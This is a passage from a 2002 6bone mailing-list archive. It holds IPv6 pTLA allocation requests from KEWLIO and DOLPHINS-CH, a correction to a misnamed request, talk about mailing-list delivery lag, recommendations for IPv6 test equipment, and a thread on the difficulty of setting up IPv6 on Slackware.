compliant with RFC2772. The open review period for this will close 30 April 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?CALADAN>

<http://www.ipv6.kewlio.net/>


Thanks,

Bob

===
>Date: Fri, 12 Apr 2002 19:44:06 +0100 (BST)
>From: "Daniel Austin (fxp0)" <fxp0@fxp0.co.uk>
>To: Bob Fink <fink@es.net>
>cc: <ipv6@kewlio.net>
>Subject: Re: 6bone pTLA request
>
>Hi Bob,
>
>Please find attached the new application as requested.
>
>*** 6BONE pTLA REQUEST ***
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
> >>> We have had our allocation from CALADAN for the past 3 months.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
> >>> Our current IPv6 allocation is from CALADAN (3ffe:8270:8::/48) which 
> is all upt-o-date in whois.
> >>> Our customer tunnels are also listed.
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
> >>> We currently have 5 BGP4+ sessions configured via tunnels to 
> different providers.
> >>> Our router is router.ipv6.kewlio.net [3ffe:8270:8::1] and should be 
> active 24/7.
> >>> We currently handle all ASN details for Global Media Applications 
> Limited.
> >>> A seperate e-mail from the Technical Director has been sent to 
> fink@es.net allowing
> >>> us full use of AS24765 for 6bone purposes.
> >>> Global Media Applications Limited will be using IPv6 development 
> services from our
> >>> allocation(s).
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
> >>> Our nameservers currently provide forward and reverse DNS for:
> >>> 8.0.0.0.0.7.2.8.e.f.f.3.ip6.int
> >>> kewlio.net
> >>> These should be able to be queried from anywhere.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
> >>> Our (simple) IPv6 services page is http://www.ipv6.kewlio.net/
> >>> This is both IPv4 and IPv6 reachable.  This server is 
> ping/traceroute-able from the 6bone 24/7.
> >>> You can also reach our 4th nameserver (ns4.kewlio.net) via the 6bone.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
> >>> Although we are a relatively new company, we have every intention to 
> provide IPv6 services alongside our existing
> >>> IPv4 services.  We have been running as a sole-trader for the past 
> year, and business has increased significantly
> >>> during the past few months.  There is a lot of interest in the IPv6 
> support of our servers and services.
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
> >>> DJA97-6BONE and TEI122-6BONE - both present in "KEWLIO" ipv6-site in 
> whois.
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
> >>> ipv6@kewlio.net is our support/contact mailbox.  our ipv6-site object 
> points to this address.
> >>> We also have ipv6-tunnels@kewlio.net for tunnel requests
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
> >>> We offer server colocation / rental, also virtual hosting and virtual 
> servers.  All services are able to use IPv6 if
> >>> the customer requests.  We actively inform potential customers of our 
> 6bone allocation and their ability to use it.
> >>> We generally supply services to businesses in the Manchester area, 
> although we currently have customers from England,
> >>> Germany and the United States.  We are open to all customers in all 
> regions.
> >>> Our new shell service has had a lot of feedback about IPv6 support, 
> and we have our existing CALADAN allocation in
> >>> action on our shell servers.
> >>> All customers are reminded that any 6bone IP's are for development 
> purposes and that, at
> >>> some point, we will be joining production-level IPv6 within 6-12 
> months time.
> >>> Customers are offerred IPv6 functionality at no extra cost.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
> >>> We have read these and are happy to abide by all policies.
>
>
>
>
>
>Thanks,
>
>Daniel Austin,
>Managing Director,
>kewlio.net Limited.



From 6bone-owner  Tue Apr 16 08:34:50 2002
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Date: Tue, 16 Apr 2002 08:34:38 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for KEWLIO- review closes 30 April 2002
Cc: "Daniel Austin (fxp0)" <fxp0@fxp0.co.uk>
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6bone Folk,

My  previous email should have said KEWLIO, not CALADAN, so here is the 
corrected pTLA call:


KEWLIO has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 30 April 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?KEWLIO>

<http://www.ipv6.kewlio.net/>


Thanks,

Bob

===
Date: Fri, 12 Apr 2002 19:44:06 +0100 (BST)
From: "Daniel Austin (fxp0)" <fxp0@fxp0.co.uk>
To: Bob Fink <fink@es.net>
cc: <ipv6@kewlio.net>
Subject: Re: 6bone pTLA request

Hi Bob,

Please find attached the new application as requested.

*** 6BONE pTLA REQUEST ***

    1. The pTLA Applicant must have a minimum of three (3) months
       qualifying experience as a 6Bone end-site or pNLA transit.   During
       the entire qualifying period the Applicant must be operationally
       providing the following:

 >>> We have had our allocation from CALADAN for the past 3 months.

       a. Fully maintained, up to date, 6Bone Registry entries for their
          ipv6-site inet6num, mntner, and person objects, including each
          tunnel that the Applicant has.

 >>> Our current IPv6 allocation is from CALADAN (3ffe:8270:8::/48) which 
is all upt-o-date in whois.
 >>> Our customer tunnels are also listed.

       b. Fully maintained, and reliable, BGP4+ peering and connectivity
          between the Applicant's boundary router and the appropriate
          connection point into the 6Bone. This router must be IPv6
          pingable. This criteria is judged by members of the 6Bone
          Operations Group at the time of the Applicant's pTLA request.

 >>> We currently have 5 BGP4+ sessions configured via tunnels to different 
providers.
 >>> Our router is router.ipv6.kewlio.net [3ffe:8270:8::1] and should be 
active 24/7.
 >>> We currently handle all ASN details for Global Media Applications Limited.
 >>> A seperate e-mail from the Technical Director has been sent to 
fink@es.net allowing
 >>> us full use of AS24765 for 6bone purposes.
 >>> Global Media Applications Limited will be using IPv6 development 
services from our
 >>> allocation(s).

       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
          entries for the Applicant's router(s) and at least one host
          system.

 >>> Our nameservers currently provide forward and reverse DNS for:
 >>> 8.0.0.0.0.7.2.8.e.f.f.3.ip6.int
 >>> kewlio.net
 >>> These should be able to be queried from anywhere.

       d. A fully maintained, and reliable, IPv6-accessible system
          providing, at a mimimum, one or more web pages, describing the
          Applicant's IPv6 services.  This server must be IPv6 pingable.

 >>> Our (simple) IPv6 services page is http://www.ipv6.kewlio.net/
 >>> This is both IPv4 and IPv6 reachable.  This server is 
ping/traceroute-able from the 6bone 24/7.
 >>> You can also reach our 4th nameserver (ns4.kewlio.net) via the 6bone.

    2. The pTLA Applicant MUST have the ability and intent to provide
       "production-quality" 6Bone backbone service. Applicants must
       provide a statement and information in support of this claim.
       This MUST include the following:

 >>> Although we are a relatively new company, we have every intention to 
provide IPv6 services alongside our existing
 >>> IPv4 services.  We have been running as a sole-trader for the past 
year, and business has increased significantly
 >>> during the past few months.  There is a lot of interest in the IPv6 
support of our servers and services.

       a. A support staff of two persons minimum, three preferable, with
          person attributes registered for each in the ipv6-site object
          for the pTLA applicant.

 >>> DJA97-6BONE and TEI122-6BONE - both present in "KEWLIO" ipv6-site in 
whois.

       b. A common mailbox for support contact purposes that all support
          staff have acess to, pointed to with a notify attribute in the
          ipv6-site object for the pTLA Applicant.

 >>> ipv6@kewlio.net is our support/contact mailbox.  our ipv6-site object 
points to this address.
 >>> We also have ipv6-tunnels@kewlio.net for tunnel requests

    3. The pTLA Applicant MUST have a potential "user community" that
       would be served by its becoming a pTLA, e.g., the Applicant is a
       major provider of Internet service in a region, country, or focus
       of interest. Applicant must provide a statement and information in
       support this claim.

 >>> We offer server colocation / rental, also virtual hosting and virtual 
servers.  All services are able to use IPv6 if
 >>> the customer requests.  We actively inform potential customers of our 
6bone allocation and their ability to use it.
 >>> We generally supply services to businesses in the Manchester area, 
although we currently have customers from England,
 >>> Germany and the United States.  We are open to all customers in all 
regions.
 >>> Our new shell service has had a lot of feedback about IPv6 support, 
and we have our existing CALADAN allocation in
 >>> action on our shell servers.
 >>> All customers are reminded that any 6bone IP's are for development 
purposes and that, at
 >>> some point, we will be joining production-level IPv6 within 6-12 
months time.
 >>> Customers are offerred IPv6 functionality at no extra cost.

    4. The pTLA Applicant MUST commit to abide by the current 6Bone
       operational rules and policies as they exist at time of its
       application, and agree to abide by future 6Bone backbone
       operational rules and policies as they evolve by consensus of the
       6Bone backbone and user community.

 >>> We have read these and are happy to abide by all policies.





Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.


-end


From 6bone-owner  Tue Apr 16 08:53:51 2002
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Date: Tue, 16 Apr 2002 18:00:49 +0200
From: Blechinger Robert <rblechinger@cybernet-ag.net>
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To: "D'Albenzio Raffaele" <Raffaele.Dalbenzio@TILAB.COM>
Cc: 6bone@ISI.EDU
Subject: Re: New version of ASpath-tree is available on line
References: <6ECEC1E214F2E342814ABB1ED10E795502EFB5@EXC2K01B.cselt.it>
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Hi,

D'Albenzio Raffaele wrote:
 
> Telecom Italia Lab released version 3.3 of
> ASpath-tree routing monitoring software.
> 
> This version fix some bugs and is conform
> to new 6Bone prefix assignment policy.
> Valid PTLAs
> - 3FFE:0000::/24 thru 3FFE:3F00::/24
> - 3FFE:8000::/28 thru 3FFE:83F0::/28
> - 3FFE:4000::/32 thru 3FFE:7FFF::/32

I have an suggestion to improve our "Odd routes reports  ( unaggregated
prefixes )" part...
...what do you think about to do this also for 200x routes ?
i currently see only 6bone prefixes.

Thanks Robert
 

-- 
    Blechinger Robert
 
 Cybernet AG - Networking
 email: rblechinger@cybernet-ag.net
 Phone: +49 89 99315 - 116
 Fax:   +49 89 99315 - 199
 
   Love is just a kiss away...

From 6bone-owner  Tue Apr 16 11:35:00 2002
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From: info@caladan.net
To: 6BONE List <6bone@ISI.EDU>
Date: Tue, 16 Apr 2002 19:32:55 +0100
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Subject: Re: pTLA request for CALADAN - review closes 30 April 2002
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Err, we already have a pTLA allocation, this request is for KEWLIO 
to whom we provide IPv6 connectivity... 

Chris


On 16 Apr 2002 at 8:11, Bob Fink wrote:

> 6bone Folk,
> 
> CALADAN has requested a pTLA allocation and I find their request fully
> compliant with RFC2772. The open review period for this will close 30
> April 2002. Please send your comments to me or the list.
> 
> <http://whois.6bone.net/cgi-bin/whois?CALADAN>
> 
> <http://www.ipv6.kewlio.net/>
> 
> 
> Thanks,
> 
> Bob
> 
> ===
> >Date: Fri, 12 Apr 2002 19:44:06 +0100 (BST)
> >From: "Daniel Austin (fxp0)" <fxp0@fxp0.co.uk>
> >To: Bob Fink <fink@es.net>
> >cc: <ipv6@kewlio.net>
> >Subject: Re: 6bone pTLA request
> >
> >Hi Bob,
> >
> >Please find attached the new application as requested.
> >
> >*** 6BONE pTLA REQUEST ***
> >
> >    1. The pTLA Applicant must have a minimum of three (3) months
> >       qualifying experience as a 6Bone end-site or pNLA transit.  
> >       During the entire qualifying period the Applicant must be
> >       operationally providing the following:
> >
> > >>> We have had our allocation from CALADAN for the past 3 months.
> >
> >       a. Fully maintained, up to date, 6Bone Registry entries for
> >       their
> >          ipv6-site inet6num, mntner, and person objects, including
> >          each tunnel that the Applicant has.
> >
> > >>> Our current IPv6 allocation is from CALADAN (3ffe:8270:8::/48)
> > >>> which 
> > is all upt-o-date in whois.
> > >>> Our customer tunnels are also listed.
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and
> >       connectivity
> >          between the Applicant's boundary router and the appropriate
> >          connection point into the 6Bone. This router must be IPv6
> >          pingable. This criteria is judged by members of the 6Bone
> >          Operations Group at the time of the Applicant's pTLA
> >          request.
> >
> > >>> We currently have 5 BGP4+ sessions configured via tunnels to 
> > different providers.
> > >>> Our router is router.ipv6.kewlio.net [3ffe:8270:8::1] and should
> > >>> be 
> > active 24/7.
> > >>> We currently handle all ASN details for Global Media
> > >>> Applications 
> > Limited.
> > >>> A seperate e-mail from the Technical Director has been sent to 
> > fink@es.net allowing
> > >>> us full use of AS24765 for 6bone purposes.
> > >>> Global Media Applications Limited will be using IPv6 development
> > >>> 
> > services from our
> > >>> allocation(s).
> >
> >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >          entries for the Applicant's router(s) and at least one host
> >          system.
> >
> > >>> Our nameservers currently provide forward and reverse DNS for:
> > >>> 8.0.0.0.0.7.2.8.e.f.f.3.ip6.int kewlio.net These should be able
> > >>> to be queried from anywhere.
> >
> >       d. A fully maintained, and reliable, IPv6-accessible system
> >          providing, at a mimimum, one or more web pages, describing
> >          the Applicant's IPv6 services.  This server must be IPv6
> >          pingable.
> >
> > >>> Our (simple) IPv6 services page is http://www.ipv6.kewlio.net/
> > >>> This is both IPv4 and IPv6 reachable.  This server is 
> > ping/traceroute-able from the 6bone 24/7.
> > >>> You can also reach our 4th nameserver (ns4.kewlio.net) via the
> > >>> 6bone.
> >
> >    2. The pTLA Applicant MUST have the ability and intent to provide
> >       "production-quality" 6Bone backbone service. Applicants must
> >       provide a statement and information in support of this claim.
> >       This MUST include the following:
> >
> > >>> Although we are a relatively new company, we have every
> > >>> intention to 
> > provide IPv6 services alongside our existing
> > >>> IPv4 services.  We have been running as a sole-trader for the
> > >>> past 
> > year, and business has increased significantly
> > >>> during the past few months.  There is a lot of interest in the
> > >>> IPv6 
> > support of our servers and services.
> >
> >       a. A support staff of two persons minimum, three preferable,
> >       with
> >          person attributes registered for each in the ipv6-site
> >          object for the pTLA applicant.
> >
> > >>> DJA97-6BONE and TEI122-6BONE - both present in "KEWLIO"
> > >>> ipv6-site in 
> > whois.
> >
> >       b. A common mailbox for support contact purposes that all
> >       support
> >          staff have acess to, pointed to with a notify attribute in
> >          the ipv6-site object for the pTLA Applicant.
> >
> > >>> ipv6@kewlio.net is our support/contact mailbox.  our ipv6-site
> > >>> object 
> > points to this address.
> > >>> We also have ipv6-tunnels@kewlio.net for tunnel requests
> >
> >    3. The pTLA Applicant MUST have a potential "user community" that
> >       would be served by its becoming a pTLA, e.g., the Applicant is
> >       a major provider of Internet service in a region, country, or
> >       focus of interest. Applicant must provide a statement and
> >       information in support this claim.
> >
> > >>> We offer server colocation / rental, also virtual hosting and
> > >>> virtual 
> > servers.  All services are able to use IPv6 if
> > >>> the customer requests.  We actively inform potential customers
> > >>> of our 
> > 6bone allocation and their ability to use it.
> > >>> We generally supply services to businesses in the Manchester
> > >>> area, 
> > although we currently have customers from England,
> > >>> Germany and the United States.  We are open to all customers in
> > >>> all 
> > regions.
> > >>> Our new shell service has had a lot of feedback about IPv6
> > >>> support, 
> > and we have our existing CALADAN allocation in
> > >>> action on our shell servers.
> > >>> All customers are reminded that any 6bone IP's are for
> > >>> development 
> > purposes and that, at
> > >>> some point, we will be joining production-level IPv6 within 6-12
> > >>> 
> > months time.
> > >>> Customers are offerred IPv6 functionality at no extra cost.
> >
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >       operational rules and policies as they exist at time of its
> >       application, and agree to abide by future 6Bone backbone
> >       operational rules and policies as they evolve by consensus of
> >       the 6Bone backbone and user community.
> >
> > >>> We have read these and are happy to abide by all policies.
> >
> >
> >
> >
> >
> >Thanks,
> >
> >Daniel Austin,
> >Managing Director,
> >kewlio.net Limited.
> 



From 6bone-owner  Tue Apr 16 11:45:11 2002
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To: info@caladan.net, 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for CALADAN - review closes 30 April 2002
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At 07:32 PM 4/16/2002 +0100, info@caladan.net wrote:
>Err, we already have a pTLA allocation, this request is for KEWLIO
>to whom we provide IPv6 connectivity...

Already corrected.


Thanks,

Bob


From 6bone-owner  Tue Apr 16 14:06:18 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Bob,

I doubt it is a new thing, but there is something fuzzy about the way
the mailing list server processes postings. I received your correction
1/2 hour _before_ I received the original posting.

Michel.


From 6bone-owner  Tue Apr 16 14:49:16 2002
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<html><div style='background-color:'><DIV>
<P>remove</P></DIV></div><br clear=all><hr>Send and receive Hotmail on your mobile device: <a href='http://g.msn.com/1HM205401/j'>Click Here</a><br></html>

From 6bone-owner  Tue Apr 16 15:48:23 2002
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To: "Michel Py" <michel@arneill-py.sacramento.ca.us>,
        "6BONE List" <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: RE: pTLA request for CALADAN - review closes 30 April 2002
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At 02:06 PM 4/16/2002 -0700, Michel Py wrote:
>Bob,
>
>I doubt it is a new thing, but there is something fuzzy about the way
>the mailing list server processes postings. I received your correction
>1/2 hour _before_ I received the original posting.

There has always been a fair lag (20-40 minutes, sometimes 60) in mail 
coming out of the isi.edu mailers.


Bob


From 6bone-owner  Wed Apr 17 08:52:48 2002
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From: Koerpert Andreas <Andreas.Koerpert@icn.siemens.de>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: ipv6 testing equipment???
Date: Wed, 17 Apr 2002 17:52:46 +0200
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Hello 6bone folks, 

does anybody have any knowledge or even practical experience with an IP protocol tester (a load-generation-and-analysis-type of machine, not a sniffer) 
that has the IPv6 protocol implemented? Any information is welcome. 


regards, 

Andreas Körpert





Andreas Körpert
SIEMENS AG
ICN WN OP TDC TS MC
Tel.: +49-7251-73-3221
fax: +49-7251-73-3939
andreas.koerpert@icn.siemens.de




From 6bone-owner  Wed Apr 17 09:28:32 2002
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Date: Wed, 17 Apr 2002 18:29:43 +0200
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From: enric@satec.es (Enric Corominas)
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Subject: Re: ipv6 testing equipment???
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Hi Andreas,

A few month ago we received a presentation of Spirent "Smart Bit" equipment, which claimed to have IPv6 support.

Unfortunately I couldn't test the IPv6 module for myself, but the experience I have with this test-equipment in the IPv4 playground is very very good, so I expect they maintain the same level in IPv6.

Hope this helps,

Enric Corominas



*********** REPLY SEPARATOR  ***********

On 17/04/02 at 17:52 Koerpert Andreas wrote:

>Hello 6bone folks, 
>
>does anybody have any knowledge or even practical experience with an IP
>protocol tester (a load-generation-and-analysis-type of machine, not a
>sniffer) 
>that has the IPv6 protocol implemented? Any information is welcome. 
>
>
>regards, 
>
>Andreas Körpert
>
>
>
>
>
>Andreas Körpert
>SIEMENS AG
>ICN WN OP TDC TS MC
>Tel.: +49-7251-73-3221
>fax: +49-7251-73-3939
>andreas.koerpert@icn.siemens.de

 


From 6bone-owner  Wed Apr 17 09:45:19 2002
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Date: Wed, 17 Apr 2002 09:45:08 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for DOLPHINS-CH - review closes 30 April 2002 
Cc: Matthias Cramer <cramer@dolphins.ch>
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6bone Folk,

DOLPHINS-CH has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 1 May 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?DOLPHINS-CH>

<www.ipv6.as8758.net>


Thanks,

Bob

===
>Date: Wed, 17 Apr 2002 18:16:18 +0200
>From: Matthias Cramer <cramer@dolphins.ch>
>To: fink@es.net
>Cc: ipv6@as8758.net
>Subject: pTLA Request for DOLPHINS-CH
>
>Hi Bob
>
>DOLPHINS-CH likes to get a pTLA allocation for the 6Bone. Following the 
>RFC 2772
>Sections in question, with our statments.
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>We are on the 6Bone since 9.July 2001
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>They reflect allways the current state.
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>BGP4+ is stable and working well to SOLNET-CH, and is pingable with the name
>rt.ipv6.freestone.net (3FFE:8150:2001:0:0:0:0:1).
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>All IPv6 our Hosts have forward and reverse entries.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>The servers name is www.ipv6.as8758.net, and it is pingable, it has
>A and AAAA entries.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>We have two qualified support persons, they are registerd in the ipv6-site 
>entry.
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>We are reachable under ipv6@as8758.net.
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>We have allready interested parties. Our whole backbone will be native
>IPv6 in about 4 Weeks.
>
>For Your information on our services. We offer Virtual Webhousing, Server 
>Hosting,
>Leased Lines, DialUP and all other classic ISP services. And we like to offer
>all these Services on IPv6. For that our Cusomers and espessialy we, like 
>to get
>expirience with that matter on the 6Bone.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We fully agree to that.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>We fully agree to that.
>
>8. 6Bone Operations Group
>
>    The 6Bone Operations Group is the group in charge of monitoring and
>    policing adherence to the current rules. Membership in the 6Bone
>    Operations Group is mandatory for, and restricted to, sites connected
>    to the 6Bone.
>
>    The 6Bone Operations Group is currently defined by those members of
>    the existing 6Bone mailing list who represent sites participating in
>    the 6Bone. Therefore it is incumbent on relevant site contacts to
>    join the 6Bone mailing list. Instructions on how to join the list are
>    maintained on the 6Bone web site at < http://www.6bone.net>.
>
>We fully agree to that.
>
>
>Best regards
>
>    Matthias Cramer
>
>--
>      _;\_    Matthias Cramer                System & Network Manager
>     /_.  \   Dolphins Network Systems AG    Phone +41-1-847'45'45
>    |/ -\ .)  Libernstrasse 24               Fax   +41-1-847'45'49
>  -'^`-   \;  CH-8112 Otelfingen             http://www.dolphins.ch/
>GnuPG 1024D/2D208250 = DBC6 65B6 7083 1029 781E  3959 B62F DF1C 2D20 8250
>
>



From 6bone-owner  Wed Apr 17 10:38:55 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: sluggishness? (fwd)
To: 6bone@ISI.EDU
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Bill,

    Even though you did not give specifics about this email, I'll assume
its the 6bome mailing list.  If so, this is a majordomo list on <node> and
the configuration is set to check for outbound email hourly.  This was to
balance the load (in the old days).  Since the load on <node> has dropped,
I can change this check to less than an hour.

Jim 

    
> At 02:06 PM 4/16/2002 -0700, Michel Py wrote:
> >Bob,
> >
> >I doubt it is a new thing, but there is something fuzzy about the way
> >the mailing list server processes postings. I received your correction
> >1/2 hour _before_ I received the original posting.
> 
> There has always been a fair lag (20-40 minutes, sometimes 60) in mail 
> coming out of the isi.edu mailers.
> 
> 
> Bob
> 
> ----- End of forwarded message from Bob Fink -----
> -- 

	This might make things a bit snappier.


-- bill

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Date: Wed, 17 Apr 2002 20:09:10 +0200
From: Matthias Cramer <cramer@dolphins.ch>
To: "Koerpert Andreas" <Andreas.Koerpert@icn.siemens.de>
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 testing equipment???
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Hi Andreas

On Wed, 17 Apr 2002 17:52:46 +0200
"Koerpert Andreas" <Andreas.Koerpert@icn.siemens.de> wrote:

> Hello 6bone folks, 
> 
> does anybody have any knowledge or even practical experience with an IP protocol tester (a load-generation-and-analysis-type of machine, not a sniffer) 
> that has the IPv6 protocol implemented? Any information is welcome. 

Are you looking for something lise this ??

http://freshmeat.net/projects/sendip

Best regards

  Matthias

-- 
     _;\_    Matthias Cramer                System & Network Manager
    /_.  \   Dolphins Network Systems AG    Phone +41-1-847'45'45
   |/ -\ .)  Libernstrasse 24               Fax   +41-1-847'45'49
 -'^`-   \;  CH-8112 Otelfingen             http://www.dolphins.ch/


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From 6bone-owner  Wed Apr 17 16:37:11 2002
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Date: Wed, 17 Apr 2002 19:33:50 -0400 (EDT)
From: Dave <dave@dave.tj>
Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
 (fwd)
To: 6bone@ISI.EDU
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I forgot to forward a copy to the list :-(

 - Dave


Dave wrote:
>From dave Wed Apr 17 19:03:46 2002
Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
To: hansolofalcon@worldnet.att.net (Gregg C Levine)
Date: Wed, 17 Apr 2002 19:03:46 -0400 (EDT)
In-Reply-To: <000001c1e400$ff2f2fe0$1c52580c@who> from "Gregg C Levine" at Apr 14, 2002 06:09:06 PM
From: Dave <dave@dave.tj>
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What is your question???  If it's "What is (was) the Slackware forum?" you
may want to check out <URL:http://www.slackware.com/forums/>.

 - Dave


Gregg C Levine wrote:
> 
> Hello from Gregg C Levine normally with Jedi Knight Computers
> I just finished reading your statement regarding the dearth of luck, and
> successes, that you have been having, and I noticed a reference in your
> statements, that stood out. And I quote here, " The Slackware  forum
> disappeared quite a few months ago, and the USAGI folks are too busy
> coding to be able to offer any real help.". I recognize the reference to
> "USAGI" so I am not asking about that. I am asking about the "Slackware
> forum". Who, or what was that? Slackware is indeed still in business,
> they are moving towards a release of 8.1 of their distribution. But you
> are right. When I was meandering through the whole idea of getting my
> Slackware system connected, I realized that I would need to use the
> services of a Freenet type tunnel broker. So with that decision I
> shelved it. So I still have one question to ask, and that one, is it. 
> -------------------
> Gregg C Levine hansolofalcon@worldnet.att.net
> ------------------------------------------------------------
> "The Force will be with you...Always." Obi-Wan Kenobi
> "Use the Force, Luke."  Obi-Wan Kenobi
> (This company dedicates this E-Mail to General Obi-Wan Kenobi )
> (This company dedicates this E-Mail to Master Yoda )
> 
> 
> 
> > -----Original Message-----
> > From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
> Dave
> > Sent: Sunday, April 14, 2002 3:59 PM
> > To: robert@quantum-radio.net.au
> > Cc: 6bone
> > Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23
> April 2002
> > 
> > Nope, you're _not_ alone.  In fact, you've had much more luck than
> > I've had.  I finally gave up on getting it to work serveral months
> ago,
> > only posting comments to that effect every so often (when somebody
> > else posted here asking how to get his f---in' system connected)
> since.
> > I've read through every last bit of documentation I've been able to
> locate
> > (of which there's no lack, if you search Yahoo!), but all of it is
> either
> > targetted at FreeBSD or rc.config-based GNU/Linux systems.  The
> Slackware
> > forum disappeared quite a few months ago, and the USAGI folks are too
> > busy coding to be able to offer any real help.  Further complicating
> > the issue is the fact that my Linux kernel supposedly already _has_
> > IPv6 (and indeed, I'm supposed to be able to ping6 ::1/128 - something
> I
> > was only able to verify a couple of months ago, after officially
> giving
> > up, since I happend to stumble into a ping6 binary I had lying around
> > from a SuSE on one of my old systems; I have yet to find a telnet,
> > traceroute, telnetd, or any other app I can use to figure out what's
> > up with my IPv6 config, and using anything but loopback for _anything_
> > is basically out-of-the-question, simply because I have no clue where
> > to start ... I'll tackle IPv6 Internet connectivity after getting one
> > or more of my own networks working on IPv6).
> > 
> > I also know a few others who can tell similar tales.  They just aren't
> > even subscribed to this list anymore.  (I only read this list because
> I'm
> > too lazy to unsubscribe - and maybe because I subconsciously hope that
> > somebody, somewhere, someday might be willing to take the 20 minutes
> > necessary to explain the HOWTO aspects of configuring a system to use
> > IPv6, as well as answering my syscall-related questions (which have
> > prevented me from writing my own programs to test out the network,
> > thus far).
> > 
> > To top off my annoyance, the latest brand spankin' new Linux/POSIX
> > edition of the Comer&Stevens volume 3 of Internetworking with TCP/IP
> > doesn't even mention the existance of IPv6 (!?!) - certainly you
> weren't
> > expecting it to provide any details of programming for IPv6, eh?
> > 
> > A rather frusterated IPv6 non-user,
> > Dave Cohen <dave@dave.tj>
> > 
> > 
> > Merlin wrote:
> > >
> > > I wonder if I might come in on this conversation for a moment with
> another
> > perspective.
> > >
> > > Regardless of the location of end points, and blocks and bits of
> blocks it seems to
> > me that the whole idea of moving to
> > > the IPv6 network will die from lack of involvement if it can't
> become easier to
> > implement. I refer of course to the
> > > actual setting up of the protocols on an actual computer.
> > > While it is of course very necessary to continue working on the
> outlines - RFCs
> > etc - there needs to be some serious
> > > attempts made to see that valid HOWTOs are produced by those who
> fully
> > understand the variants.
> > >
> > > I take the comment from Pekka Savola in point.
